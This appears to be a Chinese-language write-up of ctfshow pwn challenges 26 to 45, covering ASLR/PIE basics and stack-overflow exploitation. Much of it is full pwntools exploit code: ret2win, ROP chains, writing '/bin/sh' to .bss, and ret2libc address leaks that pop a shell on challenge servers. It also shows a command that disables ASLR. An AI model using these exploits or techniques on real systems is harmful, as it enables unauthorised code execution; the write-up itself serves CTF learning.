# got表中puts函数的地址
puts_got = elf.got['puts']
# 这里的目的是泄漏出libc的puts函数加载地址,这里用main和ctfshow都可以
payload1 = padding * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
io.sendline(payload1)
leak_puts = u32(io.recv()[0:4]) # 将接收到的字符串取4个字节,并解析为无符号32位整数
print(hex(leak_puts)) # 输出泄漏地址,用hex转换成了十六进制
# 通过泄漏的puts地址,利用LibcSearcher来找到相应的libc版本
libc = LibcSearcher("puts",leak_puts)
# 计算libc加载基地址与libc中的其他函数、参数加载地址
libc_base = leak_puts - libc.dump("puts")
print(hex(libc_base))
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
# 接下来就可以调用system了
payload2 = padding * b'a' + p32(system_addr) + b'a' * 4 + p32(binsh_addr)
# pwndbg附加调试
#gdb.attach(io)
#pause()
io.sendline(payload2)
io.interactive() # 获得一个交互式shell
这里如果用write函数来泄露,则除了其他地方,注意payload1也要进行变化:
payload1 = padding * b'a' + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got) + p32(4)
而puts来泄露则是:
payload1 = padding * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
很好理解,首先覆盖掉buf后,由于write/puts都是调用自libc,由动态链接的延迟绑定我们知道,所有来自调用外部的函数会在.plt
中有对应的表项,第一次是找不到外部函数真正的地址,当使用该函数时,.plt
会先去.got.plt
中寻找对应的函数表项,从而通过动态链接器再解析寻找到该外部函数真正的引用地址,第二次之后就不用这么麻烦,就会直接跳到该地址。
PS:更详细的分析可以参考本wp的
pwn45
。
pwn26-pwn28
考察点:ASLR保护基础
ASLR (Address Space Layout Randomization) 是一种操作系统级别的安全保护机制,旨在增加
软件系统的安全性。它通过随机化程序在内存中的布局,使得攻击者难以准确地确定关键代码和数据的
位置,从而增加了利用软件漏洞进行攻击的难度
开启不同等级会有不同的效果
1.内存布局随机化: ASLR的主要目标是随机化程序的内存布局。在传统的内存布局中,不同的
库和模块通常会在固定的内存位置上加载,攻击者可以利用这种可预测性来定位和利用漏洞.
ASLR通过随机化这些模块的加载地址,使得攻击者无法准确地确定内存中的关键数据结构和
代码的位置。
2.地址空间范围的随机化: ASLR还会随机化进程的地址空间范围。在传统的地址空间中,栈
堆、代码段和数据段通常会被分配到固定的地址范围中。ASLR会随机选择地址空间的起始位
置和大小,从而使得这些重要的内存区域在每次运行时都有不同的位置。
3.随机偏移量: ASLR会引入随机偏移量,将程序和模块在内存中的相对位置随机化。这意味着
每个模块的实际地址是相对于一个随机基址偏移的,而不是绝对地址。攻击者需要在运行时发
现这些偏移量,才能准确地定位和利用漏洞。
4.堆和栈随机化: ASLR也会对堆和栈进行随机化。堆随机化会在每次分配内存时选择不同的起
始地址,使得攻击者无法准确地预测堆上对象的位置。栈随机化会随机选择栈顿的起始位置
使得攻击者无法轻易地覆盖返回地址或控制程序流程
在Linux中,ALSR的全局配置/proc/sys/kernel/randomize va space有三种情况
0表示关闭ALSR
1表示部分开启(将mmap的基址、stack和vdso页面随机化)
2表示完全开启
结合提示,执行如下命令即可getflag
echo 0 > /proc/sys/kernel/randomize_va_space
flag: ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0} # pwn26
flag: ctfshow{0x400687_0x400560_0x603260} # pwn27
flag: ctfshow{0x400687_0x400560} # pwn28
pwn29
考察点:ASLR和PIE保护基础
ASLR和PIE开启后,地址都会将随机化,这里值得注意的是,由于粒度问题,虽然地址都被随机化了, 但是被随机化的都仅仅是某个对象的起始地址,而在其内部还是原来的结构,也就是相对偏移是不会变化的。
ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}
pwn30
考察点:
栈溢出
pwn35
描述:
正式开始栈溢出了,先来一个最最最最简单的吧
用户名为 ctfshow 密码 为 123456 请使用 ssh软件连接
ssh ctfshow@题目地址 -p题目端口号
考察点:传长字符串触发段错误类溢出、signal函数
查看保护和程序运行情况: 丢到ida查看main函数:
分析:首先定义文件流指针Stream来读取ctfshow_flag文件并判断是否存在内容,然后fgets从文件中读取最多64个字符到flag数组,接着判断程序是否有接收参数,有则将第一个参数的指针传递给ctfshow函数,并将其内容输出。 查看ctfshow函数:
显然,这里就出现了栈溢出风险函数
strcpy
,首先声明大小104的dest数组,然后将用户输入的字符串复制到dest中,并最终返回dest数组的地址。这里的风险就在于并没有对用户输入长度做限制,能够>104
,导致栈溢出利用风险,因此此处我们可控。 另外,在main函数中我们还忽略了一个关键部分: signal(11, (__sighandler_t)sigsegv_handler);
这个作用是设置一个自定义的信号处理函数,用于处理特定的信号。信号 11 代表 SIGSEGV(Segmentation Fault)
,通常表示程序试图访问未被允许的内存区域。这通常是由于程序中的错误(如数组越界、访问空指针等)导致的,这行代码将 sigsegv_handler
函数注册为处理 SIGSEGV 信号的处理器。当程序发生段错误时,操作系统会调用sigsegv_handler
函数,而不是直接终止程序。 继续查看sigsegv_handler
函数: 发现这里把flag内容输出了,显然到这里思路很明确了,让程序出现段错误异常,从而触发该自定义信号处理器函数即可,所以我们只需要输入超长字符串导致溢出,最终让ctfshow返回的 指针指向的是我们溢出覆盖后产生的无效位置就可以触发。 连接远程ssh,利用:
pwn36 ~ pwn38
考察点:cyclic计算padding、ret2win类栈溢出-后门函数有定义但不在main中、amd64_elf程序栈对齐问题处理
- pwn36:
描述:存在后门函数,如何利用?
查看保护和程序运行情况: 只是获取输入。 ida查看main函数:
除了有个ctfshow函数外没其他特别的:
功能简单,就获取输入,并且gets是典型栈溢出风险函数,不检查用户输入长度。到这里没发现任何与flag相关的函数。浏览函数窗口,发现有个
get_flag
函数,应该就是题目提示的后门函数了: 后门函数用于读取
ctfshow_flag
文件。综上,我们只要利用gets实现溢出,溢出位用后门函数地址来覆盖,就可以实现跳转到后门函数从而拿到flag,现在的问题就在于如何找到精确的padding即填充位的个数,从而再拼接后门函数地址,先用gdb动态调试的方式: 通过cyclic来确定填充位,这里匹配的目标是当前EIP所指向的字符串,因为此时由于溢出造成了段错误,关于cyclic的原理参考wiki 另外可以看一下后门函数在符号表中记录的地址:
至此,可以直接写exp了:
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn36' # 要pwn的程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('pwn.challenge.ctf.show',28196) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
padding = 44 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
backdoor = elf.symbols['get_flag']
print(hex(backdoor))
payload = padding * b'a' + p32(backdoor)
# pwndbg附加调试
#gdb.attach(io)
#pause()
delimiter = 'want:'
io.sendlineafter(delimiter,payload) # 接收到对应最后的字符后才发送我们的payload,比如这里把dem的值设成'ut:\n'都可以
io.interactive() # 打通后获得一个交互式shell
- pwn37:
描述:32位的 system(“/bin/sh”) 后门函数给你
查看保护和程序运行情况: ida查看main函数:
没特别的,查看ctfshow函数:
获取用户输入存放到buf数组,显然这里的0x32u转换成十进制是50,大于buf分配的长度14,因此存在溢出风险。
用cyclic计算出填充位padding的长度是22
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn37' # 要pwn的程序及其路径
#io = process(pwnfile) # 为程序创建一个io进程对象
io = remote('pwn.challenge.ctf.show',28173) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
padding = 22 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
backdoor = elf.symbols['backdoor']
print(hex(backdoor))
payload = padding * b'a' + p32(backdoor)
# pwndbg附加调试
#gdb.attach(io)
#pause()
delimiter = 'ret2text&&32bit'
io.sendlineafter(delimiter,payload) # 接收到对应最后的字符后才发送我们的payload,比如这里把dem的值设成'ut:\n'都可以
io.interactive() # 打通后获得一个交互式shell
- pwn38:
描述:64位的 system(“/bin/sh”) 后门函数给你
查看保护和程序运行情况: ida查看各函数与上面对比几乎没差别,就buf的长度变了。
cyclic计算padding为18:
因为与i386程序架构的设计及其处理调用和栈的方式的差异,amd64程序在栈溢出程序发生段错误时,RSP(栈指针)寄存器指向当前的栈顶,也就是当前ret的控制返回地址要从RSP指向的位置来看;而i386发生段错误时,EIP(指令指针)寄存器存储了程序崩溃时的执行地址,因此检查EIP。
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
context(log_level='debug',arch='amd64',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn38' # 要pwn的程序及其路径
#io = process(pwnfile) # 为程序创建一个io进程对象
io = remote('pwn.challenge.ctf.show',28153) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
padding = 18 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
backdoor = elf.symbols['backdoor']
print("backdoor's addr:" + hex(backdoor))
ret_addr = 0x400287
payload = padding * b'a' + p64(ret_addr) + p64(backdoor)
# pwndbg附加调试
#gdb.attach(io)
#pause()
delimiter = 'ret2text&&64bit'
io.sendlineafter(delimiter,payload) # 接收到对应最后的字符后才发送我们的payload,比如这里把dem的值设成'ut:\n'都可以
io.interactive() # 打通后获得一个交互式shell
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
context(log_level='debug', arch='amd64', os='linux') # debug 显示可选但最好开启
pwnfile = './pwn38' # 要 pwn 的程序及其路径
#io = process(pwnfile) # 为程序创建一个 io 进程对象
io = remote('pwn.challenge.ctf.show', 28153) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
padding = 18 # payload 中前面要填充的非关键数据个数
backdoor = elf.symbols['backdoor']
print("backdoor's addr: " + hex(backdoor))
# 使用 ROPgadget 查找 ROP gadgets
def find_rop_gadgets(pwnfile):
# 运行 ROPgadget 命令并获取输出
result = subprocess.run(['ROPgadget', '--binary', pwnfile],
stdout=subprocess.PIPE, text=True)
# 分析输出
gadgets = result.stdout.splitlines()
return gadgets
# 找到 'ret' gadget
gadgets = find_rop_gadgets(pwnfile)
# 打印所有找到的 gadgets
print("Found gadgets:")
for gadget in gadgets:
print(gadget)
# 存储 'ret' gadget 地址的变量
ret_addr = None
# 打印以 'ret' 结尾的 gadgets
for gadget in gadgets:
# 检查是否以 'ret' 结尾
if 'ret' in gadget:
# 提取地址并转换为整数
ret_addr = int(gadget.split(' ')[0], 16) # 将地址转换为整数
print(f"Found ret gadget at: {hex(ret_addr)}")
break # 找到第一个后退出循环
# 如果没有找到 ret 指令,输出提示
if ret_addr is None:
print("No ret gadget found.")
else:
print(f"Using ret_addr: {hex(ret_addr)}")
# 创建 payload
if ret_addr is not None:
payload = padding * b'a' + p64(ret_addr) + p64(backdoor)
# pwndbg 附加调试
# gdb.attach(io)
# pause()
delimiter = 'ret2text&&64bit'
io.sendlineafter(delimiter, payload) # 接收到对应最后的字符后才发送我们的 payload
io.interactive() # 打通后获得一个交互式 shell
else:
print("Payload cannot be created due to missing ret gadget.")
pwn39 ~ pwn40
考察点:ret2win类溢出-i386/amd64函数传参问题(注意别漏掉返回地址)、i386和amd64函数调用约定差异、单传参ROP
补充点:简单ROP脚本动态构造链(含寻找gadgets)的模板编写
- pwn39:
描述:32位的 system(); "/bin/sh"
查看保护与程序运行情况:
main函数: ctfshow函数:
hint函数:
这里的后门函数就叫system,并且同样返回system函数,也就是后门函数底层调用的函数,并且还可能存在
/bin/sh
参数传递给它从而返回shell,最后发现底层system和/bin/sh
都存在libc中。
同理还是先用cyclic,计算出padding为22。然后尝试用gdb寻找libc中的/bin/sh
被加载到内存后的地址:
exp如下:
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn39' # 要pwn的程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('pwn.challenge.ctf.show',28153) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)
padding = 22 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
system = elf.symbols['system']
print("system_addr:" + hex(system))
bin_sh_addr = next(libc.search(b"/bin/sh"))
print("bin_sh_addr:" + hex(bin_sh_addr))
payload = padding * b'a' + p32(system) + p32(0) + p32(bin_sh_addr)
# pwndbg附加调试
#gdb.attach(io)
#pause()
delimiter = 'ret2text&&32bit'
io.sendlineafter(delimiter,payload) # 接收到对应最后的字符后才发送我们的payload,比如这里把dem的值设成'ut:\n'都可以
io.interactive() # 打通后获得一个交互式shell
这里构造的payload尤其要注意p32(0)
,因为这道题相对上面来说,传参时需要考虑函数调用栈的结构,除了给函数传递"/bin/sh"外,还需要传递函数返回地址,否则正常调用该函数时会出现问题,因此需要加p32(0)
将整数0转换为一个四字节地址,当然也可以替换成其他任意地址。
- pwn40:
描述:64位的 system(); "/bin/sh"
查看保护与程序运行情况: ida反编译出的函数情况与i386时的差不多,不再赘述。 gdb计算出padding为18。
并且对比i386的padding会发现,只不过是比i386的填充位少了4个字节,正好对应上两个架构程序的内存地址对齐字节数的差异。所以实际上两者的padding是一样的,只不过因为需要考虑对齐问题结果就有些不同,如果不考虑栈对齐可能导致内存访问错误,甚至引发其他潜在的安全漏洞。
另外要注意两者传参时函数调用结构的差异,也就是要考虑好调用约定,与i386不同,amd64传参时参数要先由rdi、rsi、rdx、rcx。。的顺序存放,不够用时才考虑存放栈上,所以此时构造payload需要用到ROP的gadgets,即使原结构中的汇编指令缺少这几个寄存器,但我们可以通过ROP来构造。
查看程序有哪些可利用的gadgets,尤其是既包含ret指令,又仅包含上面需要的寄存器的部分(要注意顺序),因为需要用ret作为中间部分才能构成一条完整的ROP链: 可以用ropper搜索:
ropper --file pwn40 | grep "ret"
由于只需要传一个参数,我们只需要一个
pop rdi; ret
和ret
即可,如果说远程目标的gatgets不会变化,和打本地时一样的地址(即静态地址),构造exp如下:
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
context(log_level='debug',arch='amd64',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn40' # 要pwn的程序及其路径
#io = process(pwnfile) # 为程序创建一个io进程对象
io = remote('pwn.challenge.ctf.show',28174) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)
padding = 18 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
system = elf.symbols['system']
print("system_addr:" + hex(system))
bin_sh_addr = next(libc.search(b"/bin/sh"))
print("bin_sh_addr:" + hex(bin_sh_addr))
pop_rdi_addr = 0x4007e3
ret_addr = 0x4004fe
payload = padding * b'a' + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system)
# pwndbg附加调试
#gdb.attach(io)
#pause()
delimiter = 'ret2text&&64bit'
io.sendlineafter(delimiter,payload) # 接收到对应最后的字符后才发送我们的payload,比如这里把dem的值设成'ut:\n'都可以
io.interactive() # 打通后获得一个交互式shell
而反之如果是动态的,搜索的过程可以单独写一个py脚本作为模板,使用时只需要传递想获取的gadgets,实现动态调用,模板如下: rop_builder.py
:
# -*- coding: utf-8 -*-
# 构造ROP动态构造链(同时包含gadgets自动寻找)
from pwn import *
def build_rop_chain(elf, gadgets, addresses, order):
rop = ROP(elf)
found_gadgets = {}
# 寻找需要的 gadgets
for gadget in gadgets:
try:
found_gadgets[gadget] = rop.find_gadget([gadget])[0]
print(f'{gadget} gadget at: {hex(found_gadgets[gadget])}')
except Exception:
print(f'Failed to find gadget: {gadget}')
found_gadgets[gadget] = None
# 检查是否找到了所有必须的 gadgets
if None in found_gadgets.values():
raise Exception("Not all required gadgets were found.")
# 构造 ROP 链
for item in order:
if item in found_gadgets:
rop.raw(found_gadgets[item]) # 添加 gadget
elif item in addresses:
rop.raw(addresses[item]) # 添加其他地址
else:
raise Exception(f"Unknown item in order: {item}")
return rop.chain() # 返回构造的 ROP 链
主脚本exp2.py
:
# -*- coding: utf-8 -*-
from pwn import *
from rop_builder import build_rop_chain # 引入ROP动态链构造模板
context(log_level='debug', arch='amd64', os='linux') # 调试信息
pwnfile = './pwn40' # 要pwn的程序及其路径
io = process(pwnfile) # 创建进程对象
# io = remote('pwn.challenge.ctf.show', 28238) # 远程连接
elf = ELF(pwnfile) # 加载 ELF 文件
libc = ELF(pwnfile)
padding = 18 # 填充长度
print("system_addr:" + hex(elf.symbols['system']))
bin_sh_addr = next(libc.search(b"/bin/sh"))
print("bin_sh_addr:" + hex(bin_sh_addr))
# 创建ROP对象
rop = ROP(elf)
# 动态传递需要的 gadgets 列表和其他地址
gadgets = ['pop rdi', 'ret'] # 可以根据需要修改
addresses = {
'bin_sh': bin_sh_addr, # 使用字典存储 /bin/sh 地址
'system': elf.symbols['system'] # 使用字典存储 system 地址
}
# 定义 ROP 链的构造顺序
order = ['pop rdi', 'bin_sh', 'ret', 'system'] # 自由定义顺序
# 使用导入的函数构造 ROP 链
payload = b'A' * padding + build_rop_chain(elf, gadgets, addresses, order)
# pwndbg 附加调试
# gdb.attach(io)
# pause()
delimiter = 'ret2text&&64bit'
io.sendlineafter(delimiter, payload) # 发送 payload
io.interactive() # 交互式 shell
验证,找到的gadgets也和静态时一样: 打通远程:
pwn41 ~ pwn42
考察点:system参数替换问题(能找到参数)
- pwn41:
描述:32位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代
查看保护与程序运行情况: ida反编译,main函数:
ctfshow:
hint:
虽然题目中说没有
/bin/sh
,但useful
函数中有出现sh
,printf输出前肯定得有先获取到sh
字符串,而在linux中,实际上system("sh")
也能起到与system("/bin/sh")
等效的作用,但前提是目标系统已经把环境变量设置好,也就是说依赖系统的环境变量$PATH
来查找 sh 可执行文件并执行: 先用gdb确定padding为22,exp与pwn39同理,只需做微小改变:
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn41' # 要pwn的程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('pwn.challenge.ctf.show',28238) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)
padding = 22 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
system = elf.symbols['system']
print("system_addr:" + hex(system))
sh_addr = next(libc.search(b"sh"))
print("sh_addr:" + hex(sh_addr))
payload = padding * b'a' + p32(system) + p32(0) + p32(sh_addr)
# pwndbg附加调试
#gdb.attach(io)
#pause()
delimiter = ''
io.sendlineafter(delimiter,payload) # 接收到对应最后的字符后才发送我们的payload,比如这里把dem的值设成'ut:\n'都可以
io.interactive() # 打通后获得一个交互式shell
- pwn42:
描述:64位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代
查看保护与程序运行情况: 所有关键函数都与pwn41一样,只不过由于函数调用不同,导致payload构造时有差异。 先用gdb确定padding为18,exp用pwn40的,稍加修改,对于引入的ROP动态链构造模板,pwn40已有,不再赘述:
# -*- coding: utf-8 -*-
from pwn import *
from rop_builder import build_rop_chain # 引入ROP动态链构造模板
context(log_level='debug', arch='amd64', os='linux') # 调试信息
pwnfile = './pwn42' # 要pwn的程序及其路径
io = process(pwnfile) # 创建进程对象
#io = remote('pwn.challenge.ctf.show', 28289) # 远程连接
elf = ELF(pwnfile) # 加载 ELF 文件
libc = ELF(pwnfile)
padding = 18 # 填充长度
print("system_addr:" + hex(elf.symbols['system']))
sh_addr = next(libc.search(b"sh"))
print("sh_addr:" + hex(sh_addr))
# 创建ROP对象
rop = ROP(elf)
# 动态传递需要的 gadgets 列表和其他地址
gadgets = ['pop rdi', 'ret'] # 可以根据需要修改
addresses = {
'sh': sh_addr, # 使用字典存储sh地址
'system': elf.symbols['system'] # 使用字典存储 system 地址
}
# 定义 ROP 链的构造顺序
order = ['pop rdi', 'sh', 'ret', 'system'] # 自由定义顺序
# 使用导入的函数构造 ROP 链
payload = b'A' * padding + build_rop_chain(elf, gadgets, addresses, order)
# pwndbg 附加调试
# gdb.attach(io)
# pause()
delimiter = ''
io.sendlineafter(delimiter, payload) # 发送 payload
io.interactive() # 交互式 shell
pwn43 ~ pwn44
考察点:ret2win栈溢出无sh类参数-向可写数据段内自行写入
补充点:在ida中计算padding(仅参考)
- pwn43:
描述:32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法
查看保护与程序运行情况: 其他函数都几乎变化不大,除了: ctfshow函数:
这里改成了用gets获取输入,gets不会判断输入长度,存在无限读,所以存在溢出。 hint函数:
在其中找到了system函数,但没有sh参数。
并且gdb用原来的cyclic计算padding时失效了,不管输入多少个,都没有导致程序段错误,寄存器中也无法找到我们输入的其中一部分值,而是: 其实并不是失效,实际上是因为我们的输入长度不够大,所以可以尝试增加长度,如:
所以padding是112。 实际上也可以直接通过ida静态分析来判断,但注意仅作为参考数据!因为实际的栈布局和数据顺序在运行时与静态时可能会有所不同!
该函数中,由于调用gets函数时,栈的结构从上往下(地址递增)依次是:局部变量s(104字节)、旧的(调用gets函数前的函数的)ebp(4字节指针)、返回地址(4字节),原伪代码处的注释表明该局部变量s的相对位置。所以当溢出时要覆盖到返回地址,则从局部变量s开始算,往下偏移6C溢出到ebp,再继续溢出0x4到返回地址,即padding =
0x6C+0x4
。
而此时假如再用和pwn39一样的exp,就无法再找到"/bin/sh"了,即使是sh
也没有:
这也就意味着目标程序和libc中都没有sh类参数,我们无法从任何地方找到它。但是这并不代表着无法实现
system("/bin/sh")
了,实际上我们还可以自己写入/bin/sh
,但问题就在于写入到哪里? 当我们在gdb中用vmmap
查看内存分布时,发现存在一个DATA数据段是存在 写入权限的,显然我们就可以通过可控输入(利用gets函数)将/bin/sh
写入在该数据段内。 为了确保写入时不会出问题,有必要先用ida看看该数据段内都有哪些内容,快捷键
ctrl+s
: 最后,我们发现了.bss段中有一个未初始化的变量buf2可以利用:
显然我们可以将
/bin/sh
赋值给该变量,记下该地址0x804B060
.bss 段是一个用于存储未初始化的全局变量和静态变量的区域。
而又因为i386函数传参调用约定表明,传参时参数存储在栈上,所以构造exp如下:
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn43' # 要pwn的程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('pwn.challenge.ctf.show',28116) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)
padding = 112 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
gets = elf.symbols['gets']
system = elf.symbols['system']
print("system_addr:" + hex(system))
bin_sh = 0x804b060 # bss段的buf2
payload = padding * b'a' + p32(gets) + p32(system) + p32(bin_sh) + p32(bin_sh)
# pwndbg附加调试
#gdb.attach(io)
#pause()
delimiter = ''
io.sendlineafter(delimiter,payload) # 接收到对应最后的字符后才发送我们的payload,比如这里把dem的值设成'ut:\n'都可以
io.interactive() # 打通后获得一个交互式shell
注意这里的payload顺序,首先system作为gets的返回地址,传参时,第一个p32(bin_sh)
既作为gets的参数又作为system的返回地址,虽然是无效地址但必须指定; 第二个则是作为system的参数,从而getshell。
- pwn44:
描述:64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法
查看保护与程序运行情况: ida中的函数都和i386时差不多,不再赘述。 gdb计算padding为18,ida中计算后也一样:
看看内存分布:
查看bss段同样发现了未初始化变量buf2可以利用:
地址是
0x602080
。 因此可以构造exp了:
# -*- coding: utf-8 -*-
from pwn import *
from rop_builder import build_rop_chain # 引入ROP动态链构造模板
context(log_level='debug', arch='amd64', os='linux') # 调试信息
pwnfile = './pwn44' # 要pwn的程序及其路径
io = process(pwnfile) # 创建进程对象
#io = remote('pwn.challenge.ctf.show', 28258) # 远程连接
elf = ELF(pwnfile) # 加载 ELF 文件
libc = ELF(pwnfile)
padding = 18 # 填充长度
print("system_addr:" + hex(elf.symbols['system']))
print("gets_addr:" + hex(elf.symbols['gets']))
bin_sh = 0x602080
# 创建ROP对象
rop = ROP(elf)
# 动态传递需要的 gadgets 列表和其他地址
gadgets = ['pop rdi', 'ret'] # 可以根据需要修改
addresses = {
'sh': bin_sh, # 使用字典存储sh地址
'system': elf.symbols['system'], # 使用字典存储 system 地址
'gets': elf.symbols['gets']
}
# 定义 ROP 链的构造顺序
order = ['pop rdi', 'sh', 'ret', 'gets', 'pop rdi', 'sh', 'ret', 'system'] # 自由定义顺序
# 使用导入的函数构造 ROP 链
payload = b'A' * padding + build_rop_chain(elf, gadgets, addresses, order)
# pwndbg 附加调试
# gdb.attach(io)
# pause()
delimiter = ''
io.sendlineafter(delimiter, payload) # 发送 payload
io.interactive() # 交互式 shell
ROP动态链构造模板见pwn39~pwn40
pwn45 ~
考察点:ret2win时无system也无sh-基本ret2libc利用流程、GOT表PLT表以及延迟绑定机制的深入理解、利用标准输入(缓冲区)获取泄露信息的意义
- pwn45:
描述:32位 无 system 无 "/bin/sh"
查看保护与程序运行情况: main:
ctfshow:
read存在溢出,初步计算padding =
0x6b+0x4
除此外并未找到system和sh参数。 gdb确认padding,就是111: 现在的问题就在于何处找system和sh,当目标程序内部没有时,实际上我们还可以尝试去libc中寻找。 因为这是动态链接的程序,当程序运行时,libc等其他链接项中的函数变量等可通过GOT、PLT表找到位置并使用,也就是ret2libc的玩法。 但是我们需要先知道目标用到的libc版本。由于各个函数在同一个libc中的相对偏移量几乎是固定的,所以我们可以通过利用GOT表泄露出libc中某个函数(通常是输出类函数)的地址,根据上述原理找到libc版本,进而通过该函数在libc中的偏移和实际运行时加载在内存中的偏移关系,推得libc基地址,最终计算出我们需要的函数、变量所在偏移(如system函数、
/bin/sh
)。
GOT表能泄露出libc中某个函数的地址,是由于 libc的延迟绑定机制,函数调用不会在程序启动时立即解析,而是在首次调用该函数时进行解析,即只有在第一次使用时才会去寻找函数地址,第二次调用开始就直接用该地址,这和web中的“懒加载”有些异曲同工之妙。 具体解析时的底层逻辑:当程序首次调用动态库中的函数时,控制流会跳转到 PLT 中的相关条目。接着PLT 中的条目执行一个跳转到动态链接器
ld.so
,动态链接器会解析该函数的实际地址并更新 GOT。之后的调用将直接跳转到实际地址,而无需再次解析。
PLT(Procedure Linkage Table):一个用于存储函数调用的跳转地址的表。初始时,PLT 中的函数调用指向一个特殊的处理函数。 GOT(Global Offset Table):存储动态链接库函数的实际地址。初始时,GOT 中的地址未被填充。
PS:学习阶段,建议动调一遍感受调用函数前后,拿到的函数地址的变化,然后试着寻找GOT、PLT。
既然要泄露就得有输出,要找与输出相关的函数,正好有write,先泄露再利用,因此构造payload时要分两次(即溢出两次)。
所以第一步要调用write,将其GOT表中的值(非实际地址)作为参数,从而让其输出延迟绑定执行后实际加载到内存中的write函数地址,这一步相当于我们直接走快车道手动还原一遍write的完整调用过程了,注意调用时要遵循write函数的原型: ssize_t write(int fd,const void*buf,size_t count);
fd:是文件描述符(0标准输入、1标准输出、2标准错误); buf:通常是一个字符串,需要写入的字符串; count:是每次写入的字节数 因此构造第一次payload如下:
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn45' # 要pwn的程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('pwn.challenge.ctf.show',28116) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)
padding = 111
# 泄露GOT表中存储的write实际地址
write_plt = elf.plt['write']
print("write_plt_addr:" + hex(write_plt))
write_got = elf.got['write']
print("write_got_addr:" + hex(write_got))
main = elf.symbols['main'] # write的返回
pld1 = padding * b'a' + p32(write_plt) + p32(main) + p32(0) + p32(write_got) + p32(4)
delimiter = 'O.o?'
io.sendlineafter(delimiter,pld1)
leak_write = u32(io.recvuntil('\xf7')[-4:])
#leak_write = u32(io.recv()[0:4])
print("leak_write_addr:" + hex(leak_write))
调用write后返回main的原因在于,便于第二次构造payload时能够再溢出一次完成利用。
payload都好构造,但尤其需要注意的点就是尝试接收泄露的地址时的字符串处理(截取)问题,刚开始可以尝试用leak_write = u32(io.recv()[0:4])
是否能够成功从我们的标准输入中接收到泄露地址,若不能则必须通过gdb动调查看发送payload时都发生了什么。由于exp中开启了DEBUG模式,可以直接方便地查看,如下:
在这个阶段,要特别注意缓冲区的概念,此刻缓冲区就变得具象化了,另外实际上这些待接收数据是优先通过write被写入到了
标准输入缓冲区
中!而我们尝试读取接收到的数据也是优先从标准输入缓冲区
中读取!
这里有个非常关键的细节!为什么上面要取
fd=0
而不是fd=1
呢?第一眼看上去似乎该涉及思路与write的输出功能有些矛盾,根据write函数的常规用法,一般通过fd=1
标准输出将内容输出到终端或其他设备,如何选择除了基于目标程序的输入处理方式,关键还要看我们攻击者的需求!因为通过将泄露的数据写入到标准输入(缓冲区)中,可以确保程序后续能够读取到这些数据(比如后续搜索libc版本要用到该地址)。 想象一下假设把该地址写入到标准输出,很容易就和其他正常输出内容混合在一块,数量大的话根本难以辨认(即使在输出缓冲区中也不保险,缓冲区满后也会输出到终端被混合),更重要的是,标准输出的数据通常是不可直接被程序内部读取的!换句话说,程序无法从标准输出中直接获取之前写入的数据,除非这些数据被重定向到文件或通过管道传递。所以将泄露信息写入到标准输入是非常聪明的做法。
为什么会出现这个报错?实际上也给出提示了,表明解包需要4个字节大小的缓冲区。也就是说在调用 write 函数后,标准输入的缓冲区中没有足够的数据可供读取(例如,因缓冲机制没有刷新),那么 recv()
可能会返回少于 4 字节的数据,甚至可能返回空数据。所以此时仅仅用recv()
来接收远远不够;
